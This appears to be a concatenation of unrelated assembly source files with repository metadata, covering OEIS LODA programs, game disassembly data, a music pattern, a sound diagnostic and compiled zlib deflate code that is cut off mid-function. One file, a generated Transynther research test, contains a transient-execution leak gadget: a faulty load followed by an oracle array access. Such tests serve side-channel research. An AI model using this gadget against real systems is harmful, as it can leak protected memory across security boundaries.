; A323071: a(n) = gcd(n, 1+A060681(n)). ; 1,2,3,1,5,2,7,1,1,2,11,1,13,2,1,1,17,2,19,1,3,2,23,1,1,2,1,1,29,2,31,1,1,2,1,1,37,2,3,1,41,2,43,1,1,2,47,1,1,2,1,1,53,2,5,1,3,2,59,1,61,2,1,1,1,2,67,1,1,2,71,1,73,2,3,1,1,2,79,1,1,2,83,1,1,2,1,1,89,2,1,1,3,2,1,1,97,2,1,1 mov $1,$0 seq $0,20639 ; Lpf(n): least prime dividing n (when n > 1); a(1) = 1. Or, smallest prime factor of n, or smallest prime divisor of n. div $1,$0 gcd $1,$0 mov $0,$1
48.666667
222
0.577626
28254922a8238da81ecd95d283cb3d33ee391e82
1,006
asm
Assembly
programs/oeis/157/A157862.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/157/A157862.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/157/A157862.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A157862: a(n) = 1728000*n + 240. ; 1728240,3456240,5184240,6912240,8640240,10368240,12096240,13824240,15552240,17280240,19008240,20736240,22464240,24192240,25920240,27648240,29376240,31104240,32832240,34560240,36288240,38016240,39744240,41472240,43200240,44928240,46656240,48384240,50112240,51840240,53568240,55296240,57024240,58752240,60480240,62208240,63936240,65664240,67392240,69120240,70848240,72576240,74304240,76032240,77760240,79488240,81216240,82944240,84672240,86400240,88128240,89856240,91584240,93312240,95040240,96768240,98496240,100224240,101952240,103680240,105408240,107136240,108864240,110592240,112320240,114048240,115776240,117504240,119232240,120960240,122688240,124416240,126144240,127872240,129600240,131328240,133056240,134784240,136512240,138240240,139968240,141696240,143424240,145152240,146880240,148608240,150336240,152064240,153792240,155520240,157248240,158976240,160704240,162432240,164160240,165888240,167616240,169344240,171072240,172800240 mul $0,1728000 add $0,1728240
167.666667
939
0.874751
735fc114782a349fd3449ce13877191b79433b85
308
asm
Assembly
libsrc/zx81/tape/set_tape_speed.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/zx81/tape/set_tape_speed.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/zx81/tape/set_tape_speed.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
1
2019-12-03T23:57:48.000Z
2019-12-03T23:57:48.000Z
; ; ZX81 Tape save routines ; ; ; void __FASTCALL__ set_tape_speed(uchar speed) ; ; ; $Id: set_tape_speed.asm,v 1.2 2015/01/19 01:33:27 pauloscustodio Exp $ ; PUBLIC set_tape_speed EXTERN musamy_save EXTERN SAVE_SPEED set_tape_speed: ld a,l ld (musamy_save-musamy_save+SAVE_SPEED+1),a ret
14
72
0.724026
35ae2e9dede7a5ba3ed6e252e8619d754382bfcf
1,836
asm
Assembly
data/mart_inventories.asm
AmateurPanda92/pokemon-rby-dx
f7ba1cc50b22d93ed176571e074a52d73360da93
[ "MIT" ]
9
2020-07-12T19:44:21.000Z
2022-03-03T23:32:40.000Z
data/mart_inventories.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
7
2020-07-16T10:48:52.000Z
2021-01-28T18:32:02.000Z
data/mart_inventories.asm
JStar-debug2020/pokemon-rby-dx
c2fdd8145d96683addbd8d9075f946a68d1527a1
[ "MIT" ]
2
2021-03-28T18:33:43.000Z
2021-05-06T13:12:09.000Z
; mart inventories are below ; they are texts ; Viridian ViridianCashierText:: TX_MART POKE_BALL, ANTIDOTE, PARLYZ_HEAL, BURN_HEAL ; Pewter PewterCashierText:: TX_MART POKE_BALL, POTION, ESCAPE_ROPE, ANTIDOTE, BURN_HEAL, AWAKENING, PARLYZ_HEAL ; Cerulean CeruleanCashierText:: TX_MART POKE_BALL, POTION, REPEL, ANTIDOTE, BURN_HEAL, AWAKENING, PARLYZ_HEAL ; Bike shop TX_MART BICYCLE ; Vermilion VermilionCashierText:: TX_MART POKE_BALL, SUPER_POTION, ICE_HEAL, AWAKENING, PARLYZ_HEAL, REPEL ; Lavender LavenderCashierText:: TX_MART GREAT_BALL, SUPER_POTION, REVIVE, ESCAPE_ROPE, SUPER_REPEL, ANTIDOTE, BURN_HEAL, ICE_HEAL, PARLYZ_HEAL ; Celadon Dept. Store 2F (1) CeladonMart2Clerk1Text:: TX_MART GREAT_BALL, SUPER_POTION, REVIVE, SUPER_REPEL, ANTIDOTE, BURN_HEAL, ICE_HEAL, AWAKENING, PARLYZ_HEAL ; Celadon Dept. Store 2F (2) CeladonMart2Clerk2Text:: TX_MART TM_32, TM_33, TM_02, TM_07, TM_37, TM_01, TM_05, TM_09, TM_17 ; Celadon Dept. Store 4F CeladonMart4ClerkText:: TX_MART POKE_DOLL, FIRE_STONE, THUNDER_STONE, WATER_STONE, LEAF_STONE ; Celadon Dept. Store 5F (1) CeladonMart5Clerk1Text:: TX_MART X_ACCURACY, GUARD_SPEC, DIRE_HIT, X_ATTACK, X_DEFEND, X_SPEED, X_SPECIAL ; Celadon Dept. Store 5F (2) CeladonMart5Clerk2Text:: TX_MART HP_UP, PROTEIN, IRON, CARBOS, CALCIUM ; Fuchsia FuchsiaCashierText:: TX_MART ULTRA_BALL, GREAT_BALL, SUPER_POTION, REVIVE, FULL_HEAL, SUPER_REPEL ; unused? TX_MART GREAT_BALL, HYPER_POTION, SUPER_POTION, FULL_HEAL, REVIVE ; Cinnabar CinnabarCashierText:: TX_MART ULTRA_BALL, GREAT_BALL, HYPER_POTION, MAX_REPEL, ESCAPE_ROPE, FULL_HEAL, REVIVE ; Saffron SaffronCashierText:: TX_MART GREAT_BALL, HYPER_POTION, MAX_REPEL, ESCAPE_ROPE, FULL_HEAL, REVIVE ; Indigo IndigoCashierText:: TX_MART ULTRA_BALL, GREAT_BALL, FULL_RESTORE, MAX_POTION, FULL_HEAL, REVIVE, MAX_REPEL
28.246154
111
0.800109
ac2634e93e2078a23884f35e7b64ddc42571d0fd
241
asm
Assembly
programs/oeis/017/A017419.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/017/A017419.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/017/A017419.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A017419: (11n+2)^7. ; 128,62748517,4586471424,64339296875,435817657216,1954897493193,6722988818432,19203908986159,47829690000000,107213535210701,221068140740608,425927596977747,775771085481344,1347646586640625 mul $0,11 add $0,2 pow $0,7
34.428571
189
0.838174
44b6ab90bd13328fc7247c3d7d8f361fd6bc4154
5,854
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_21829_1288.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_21829_1288.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xca_notsx.log_21829_1288.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r8 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x16959, %r9 cmp %r8, %r8 mov (%r9), %r13d nop nop nop nop xor %r13, %r13 lea addresses_WC_ht+0x6863, %r12 nop add %rbx, %rbx mov $0x6162636465666768, %rdx movq %rdx, (%r12) nop nop nop nop nop inc %r9 lea addresses_A_ht+0x1b152, %rdx nop nop nop nop cmp $42595, %rsi movl $0x61626364, (%rdx) nop nop nop and %rbx, %rbx lea addresses_WT_ht+0xdb2b, %r12 nop sub %r13, %r13 movb $0x61, (%r12) nop nop cmp %r9, %r9 lea addresses_D_ht+0xaae3, %r9 clflush (%r9) nop nop nop cmp %rdx, %rdx movups (%r9), %xmm5 vpextrq $1, %xmm5, %rbx nop nop nop xor $57523, %rbx lea addresses_UC_ht+0x3b63, %rsi lea addresses_normal_ht+0xde83, %rdi clflush (%rsi) nop nop dec %r9 mov $81, %rcx rep movsl add $35925, %r9 lea addresses_WT_ht+0x4c13, %rdx nop nop nop cmp %rcx, %rcx mov $0x6162636465666768, %rdi movq %rdi, (%rdx) nop nop nop inc %r9 lea addresses_WT_ht+0x1bb63, %r8 nop nop nop nop nop and %rdi, %rdi movw $0x6162, (%r8) nop nop sub %rcx, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r12 push %r9 push %rax push %rbp push %rdi push %rdx // Faulty Load mov $0x7f888d0000000363, %rdx nop nop nop nop and $8986, %rax movb (%rdx), %r9b lea oracles, %rdi and $0xff, %r9 shlq $12, %r9 mov (%rdi,%r9,1), %r9 pop %rdx pop %rdi pop %rbp pop %rax pop %r9 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 8}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 3}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 11, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 11}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
39.026667
2,999
0.657157
847007372fdd7f4f927435c1b2fa01dca69cce97
1,605
asm
Assembly
music/totaka.asm
Hacktix/TaikoGB
07c9a46740405ac311e5501e45d30fa3f01c377c
[ "MIT" ]
null
null
null
music/totaka.asm
Hacktix/TaikoGB
07c9a46740405ac311e5501e45d30fa3f01c377c
[ "MIT" ]
5
2021-07-12T16:22:28.000Z
2021-07-18T11:07:42.000Z
music/totaka.asm
Hacktix/TaikoGB
07c9a46740405ac311e5501e45d30fa3f01c377c
[ "MIT" ]
null
null
null
include "include/hUGE.inc" SECTION "Song Data - Totaka", ROMX totaka:: db 20 dw order_cnt dw order1, order2, order3, order4 dw duty_instruments, wave_instruments, noise_instruments dw routines dw waves order_cnt: db 2 order1: dw P0 order2: dw P1 order3: dw P2 order4: dw P3 P0: dn C_5,1,$F24 dn C_5,1,$F08 dn D_5,1,$000 dn E_5,1,$F24 dn D_5,1,$F12 dn C_5,1,$F32 dn G_5,1,$000 dn E_5,1,$000 dn C_6,1,$000 dn G_5,1,$F64 dn G_5,1,$F24 dn G_5,1,$F08 dn G#5,1,$000 dn G_5,1,$F24 dn F#5,1,$F12 dn D#5,1,$F64 dn D_5,1,$F32 dn G_5,1,$000 dn C_5,1,$F64 dn ___,0,$B00 P1: dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 P2: dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 P3: dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 dn ___,0,$000 duty_instruments: itSquareinst1: db 8,128,242,128 wave_instruments: noise_instruments: routines: waves: db
14.078947
56
0.639875
7b32d5bdb5e10f72f4e0ee0a06e7a9640fbda74b
119
asm
Assembly
test/e2e/data/arm3.asm
matanlurey/armv4t.dart
06235938d16cb1f2b09d26f564b985854e4155c0
[ "MIT" ]
8
2020-06-21T22:05:00.000Z
2021-10-06T19:59:20.000Z
test/e2e/data/arm3.asm
matanlurey/armv4t.dart
06235938d16cb1f2b09d26f564b985854e4155c0
[ "MIT" ]
82
2020-06-21T22:02:00.000Z
2020-08-04T01:48:42.000Z
test/e2e/data/arm3.asm
matanlurey/armv4t.dart
06235938d16cb1f2b09d26f564b985854e4155c0
[ "MIT" ]
1
2020-06-22T15:16:02.000Z
2020-06-22T15:16:02.000Z
; expected result: 0x100 = 64 mov r0, #6 mov r1, #1 l: add r1, r1, r1 subs r0, #1 bne l mov r6, #0x100 str r1, [r6]
9.153846
29
0.596639
2c7da7fa608c177184cdb60d80c37d2d6e840d0e
486
asm
Assembly
ddragon_sound_diag.asm
jwestfall69/ddragon-sound-diag
4c022db7191815e546a8490150fb8b7ea26a4f5b
[ "Unlicense" ]
null
null
null
ddragon_sound_diag.asm
jwestfall69/ddragon-sound-diag
4c022db7191815e546a8490150fb8b7ea26a4f5b
[ "Unlicense" ]
null
null
null
ddragon_sound_diag.asm
jwestfall69/ddragon-sound-diag
4c022db7191815e546a8490150fb8b7ea26a4f5b
[ "Unlicense" ]
null
null
null
include "ddragon_sound.inc" include "ddragon_sound_diag.inc" include "error_addresses.inc" include "macros.inc" global main global ram_passed section text main: ; make sure f/irqs are disabled orcc #$50 ; cant use ram at this point so we jump to/back from ; the ram tests jmp ram_tests ram_passed: ; init stack pointer now that ram is considered good lds #((RAM_START + RAM_SIZE) - 1) jsr misc_tests jsr ym2151_tests jsr adpcm_tests jmp EA_ALL_PASSED
18
54
0.73251
75ee4b5506fecff47b51b795a08c793e0b16fa74
113,519
asm
Assembly
non_regression/other_x86_linux_8.o.asm
LRGH/plasmasm
4cd50546c3dc895763d72dd60b7c46179c1916bc
[ "Apache-2.0" ]
1
2021-02-28T21:31:18.000Z
2021-02-28T21:31:18.000Z
non_regression/other_x86_linux_8.o.asm
LRGH/plasmasm
4cd50546c3dc895763d72dd60b7c46179c1916bc
[ "Apache-2.0" ]
null
null
null
non_regression/other_x86_linux_8.o.asm
LRGH/plasmasm
4cd50546c3dc895763d72dd60b7c46179c1916bc
[ "Apache-2.0" ]
null
null
null
.file "deflate.c" .section .rodata .align 32 .globl deflate_copyright .type deflate_copyright, @object deflate_copyright: .string " deflate 1.2.8 Copyright 1995-2013 Jean-loup Gailly and Mark Adler " .size deflate_copyright, 68 # ---------------------- .LC00000044: .zero 28 # ---------------------- .local configuration_table .type configuration_table, @object configuration_table: .value 0 .zero 6 .long deflate_stored .long 262148 .long 262152 .long deflate_fast .long 327684 .long 524304 .long deflate_fast .long 393220 .long 2097184 .long deflate_fast .long 262148 .long 1048592 .long deflate_slow .long 1048584 .long 2097184 .long deflate_slow .long 1048584 .long 8388736 .long deflate_slow .long 2097160 .long 16777344 .long deflate_slow .long 8388640 .long 67109122 .long deflate_slow .long 16908320 .long 268435714 .long deflate_slow .size configuration_table, 120 # ---------------------- .text .local longest_match .type longest_match, @function longest_match: pushl %ebp pushl %edi pushl %esi pushl %ebx subl $52, %esp movl 108(%eax), %edi movl 56(%eax), %ebp movl 120(%eax), %esi movl 124(%eax), %ecx movl $0, 16(%esp) leal (%ebp,%edi), %ebx movl %ebx, 32(%esp) movl 144(%eax), %ebx movl %esi, 48(%esp) movl %ebx, 28(%esp) movl 44(%eax), %ebx movl %ebx, 8(%esp) subl $262, %ebx cmpl %ebx, %edi jbe .L00000054 .L00000042: leal 262(%edi), %ebx movl %ebx, 16(%esp) movl 8(%esp), %ebx subl %ebx, 16(%esp) .L00000054: movl 64(%eax), %ebx leal 258(%ebp,%edi), %edi movl %edi, 44(%esp) movl %ecx, %edi shrl $2, %edi cmpl 140(%eax), %esi movl %ebx, 12(%esp) movl 52(%eax), %ebx cmovae %edi, %ecx movl %ecx, 4(%esp) movl %ebx, 20(%esp) movl 32(%esp), %ebx movzbl -1(%ebx,%esi), %ebx movb %bl, 40(%esp) movl 32(%esp), %ebx movzbl (%ebx,%esi), %ebx movb %bl, 8(%esp) movl 116(%eax), %ebx cmpl %ebx, 28(%esp) movl %ebx, 24(%esp) cmovbe 28(%esp), %ebx movl %ebx, 28(%esp) movl 48(%esp), %ebx movl %eax, 48(%esp) jmp .L000000D9 .L000000B6: .p2align 3 .L000000B8: movl 12(%esp), %eax andl 20(%esp), %edx movzwl (%eax,%edx,2), %edx cmpl %edx, 16(%esp) jae .L00000240 .L000000CE: subl $1, 4(%esp) je .L00000240 .L000000D9: leal (%ebp,%edx), %eax movl %ebx, %edi movzbl (%eax,%ebx), %esi movl %esi, %ecx cmpb 8(%esp), %cl jne .L000000B8 .L000000EB: movzbl -1(%eax,%ebx), %ecx movb %cl, 39(%esp) movzbl 40(%esp), %ecx cmpb %cl, 39(%esp) jne .L000000B8 .L000000FF: movl 32(%esp), %ecx movzbl (%ecx), %ecx cmpb %cl, (%eax) jne .L000000B8 .L0000010A: movl 32(%esp), %ecx movzbl 1(%ecx), %ecx cmpb %cl, 1(%eax) jne .L000000B8 .L00000117: movl 32(%esp), %ecx addl $2, %eax movl %ebx, 40(%esp) movl %edx, (%esp) addl $2, %ecx movl %ecx, 8(%esp) movl 4(%esp), %ecx movl %ecx, 32(%esp) movl 8(%esp), %ecx .L00000138: movzbl 1(%eax), %edx leal 1(%ecx), %ebx cmpb %dl, 1(%ecx) jne .L00000253 .L00000148: movzbl 2(%eax), %edx leal 2(%ecx), %ebx cmpb %dl, 2(%ecx) jne .L00000287 .L00000158: movzbl 3(%eax), %edx leal 3(%ecx), %ebx cmpb %dl, 3(%ecx) jne .L0000026D .L00000168: movzbl 4(%eax), %edx leal 4(%ecx), %ebx cmpb %dl, 4(%ecx) jne .L00000253 .L00000178: movzbl 5(%eax), %edx leal 5(%ecx), %ebx cmpb %dl, 5(%ecx) jne .L00000287 .L00000188: movzbl 6(%eax), %edx leal 6(%ecx), %ebx cmpb %dl, 6(%ecx) jne .L0000026D .L00000198: movzbl 7(%eax), %edx leal 7(%ecx), %ebx cmpb %dl, 7(%ecx) jne .L00000253 .L000001A8: addl $8, %eax addl $8, %ecx movzbl (%eax), %ebx cmpb %bl, (%ecx) jne .L000002A1 .L000001B9: cmpl %ecx, 44(%esp) ja .L00000138 .L000001C3: movl 32(%esp), %eax movl 40(%esp), %ebx movl (%esp), %edx movl %ecx, 8(%esp) movl %eax, 4(%esp) movl %ecx, %eax .L000001D8: movl 44(%esp), %ecx subl 44(%esp), %eax subl $258, %ecx addl $258, %eax movl %ecx, 32(%esp) movl %esi, %ecx cmpl %eax, %ebx movb %cl, 8(%esp) movzbl 39(%esp), %ecx movb %cl, 40(%esp) jge .L000000B8 .L00000206: movl 48(%esp), %ebx cmpl %eax, 28(%esp) movl %edx, 112(%ebx) jle .L00000239 .L00000213: movl %eax, %edi movl 44(%esp), %ecx movl 32(%esp), %eax movl %edi, %ebx movzbl -258(%ecx,%edi), %ecx movzbl -1(%eax,%edi), %eax movb %cl, 8(%esp) movb %al, 40(%esp) jmp .L000000B8 .L00000239: movl %eax, %edi .p2align 3 .L00000240: movl 24(%esp), %eax cmpl 24(%esp), %edi cmovbe %edi, %eax addl $52, %esp popl %ebx popl %esi popl %edi popl %ebp ret .L00000253: movl 32(%esp), %edx movl %ebx, %eax movl %eax, 8(%esp) movl 40(%esp), %ebx movl %edx, 4(%esp) movl (%esp), %edx jmp .L000001D8 .L0000026D: movl 32(%esp), %eax movl (%esp), %edx movl %eax, 4(%esp) movl %ebx, %eax movl 40(%esp), %ebx movl %eax, 8(%esp) jmp .L000001D8 .L00000287: movl 32(%esp), %ecx movl %ebx, %eax movl (%esp), %edx movl 40(%esp), %ebx movl %eax, 8(%esp) movl %ecx, 4(%esp) jmp .L000001D8 .L000002A1: movl %ecx, 8(%esp) movl 32(%esp), %ecx movl 40(%esp), %ebx movl (%esp), %edx movl 8(%esp), %eax movl %ecx, 4(%esp) jmp .L000001D8 .size longest_match, .-longest_match # ---------------------- .L000002BD: .p2align 3 # ---------------------- .local lm_init .type lm_init, @function lm_init: pushl %ebx movl %eax, %ebx subl $24, %esp movl 44(%eax), %eax movl 76(%ebx), %edx addl %eax, %eax movl %eax, 60(%ebx) movl 68(%ebx), %eax movw $0, -2(%eax,%edx,2) leal -2(%edx,%edx), %edx movl %edx, 8(%esp) movl $0, 4(%esp) movl %eax, (%esp) call memset .L000002F3: movl 132(%ebx), %eax movl $0, 108(%ebx) movl $0, 92(%ebx) movl $0, 116(%ebx) leal (%eax,%eax,2), %edx sall $2, %edx leal configuration_table(%edx), %eax movzwl configuration_table+2(%edx), %ecx movzwl configuration_table(%edx), %edx movl $0, 5812(%ebx) movl $2, 120(%ebx) movl %ecx, 128(%ebx) movl %edx, 140(%ebx) movzwl 4(%eax), %edx movzwl 6(%eax), %eax movl $2, 96(%ebx) movl $0, 104(%ebx) movl %edx, 144(%ebx) movl %eax, 124(%ebx) movl $0, 72(%ebx) addl $24, %esp popl %ebx ret .size lm_init, .-lm_init # ---------------------- .local fill_window .type fill_window, @function fill_window: pushl %ebp pushl %edi pushl %esi pushl %ebx movl %eax, %ebx subl $76, %esp movl 44(%eax), %edx movl 116(%eax), %esi movl %edx, 48(%esp) movl 48(%esp), %eax addl %edx, %edx movl %edx, 56(%esp) movl %esi, 32(%esp) movl %eax, %edx negl %edx leal -262(%eax), %edi addl %edx, %edx movl %edi, 52(%esp) movl %edx, 60(%esp) .p2align 3 .L000003A8: movl 108(%ebx), %ebp movl 60(%ebx), %esi subl 32(%esp), %esi addl 52(%esp), %eax movl %ebp, 28(%esp) subl %ebp, %esi cmpl %eax, %ebp jae .L000004F8 .L000003C4: movl (%ebx), %edi movl 4(%edi), %ebp testl %ebp, %ebp je .L000005A0 .L000003D1: xorl %edx, %edx cmpl %ebp, %esi movl 56(%ebx), %ecx movl 116(%ebx), %eax jb .L000004E8 .L000003E1: addl 28(%esp), %eax movl %edx, 4(%edi) leal (%ecx,%eax), %esi movl (%edi), %eax movl %ebp, 8(%esp) movl %esi, (%esp) movl %eax, 4(%esp) call memcpy .L000003FD: movl 28(%edi), %eax movl 24(%eax), %eax cmpl $1, %eax je .L00000630 .L0000040C: cmpl $2, %eax je .L00000650 .L00000415: addl %ebp, (%edi) addl %ebp, 8(%edi) movl 116(%ebx), %eax .L0000041D: movl 5812(%ebx), %edx addl %eax, %ebp movl %ebp, %eax movl %ebp, 32(%esp) movl %ebp, 116(%ebx) addl %edx, %eax cmpl $2, %eax jbe .L000004C5 .L00000439: movl 108(%ebx), %esi movl 56(%ebx), %eax movl 88(%ebx), %ecx movl 84(%ebx), %ebp subl %edx, %esi movzbl (%eax,%esi), %edi movl %eax, 36(%esp) movl %ebp, 44(%esp) movl %ecx, 40(%esp) movl %edi, 72(%ebx) movzbl 1(%eax,%esi), %eax sall %cl, %edi movl %esi, 24(%esp) xorl %edi, %eax andl 44(%esp), %eax movl %eax, 72(%ebx) .p2align 3 .L00000470: testl %edx, %edx je .L000004C5 .L00000474: movl 24(%esp), %esi subl $1, %edx movl 36(%esp), %ebp movzbl 40(%esp), %ecx movzbl 2(%ebp,%esi), %edi sall %cl, %eax andl 52(%ebx), %esi xorl %edi, %eax movl 64(%ebx), %edi andl 44(%esp), %eax leal (%eax,%eax), %ecx addl 68(%ebx), %ecx movl %eax, 72(%ebx) movzwl (%ecx), %ebp movw %bp, (%edi,%esi,2) movzwl 24(%esp), %esi addl $1, 24(%esp) movw %si, 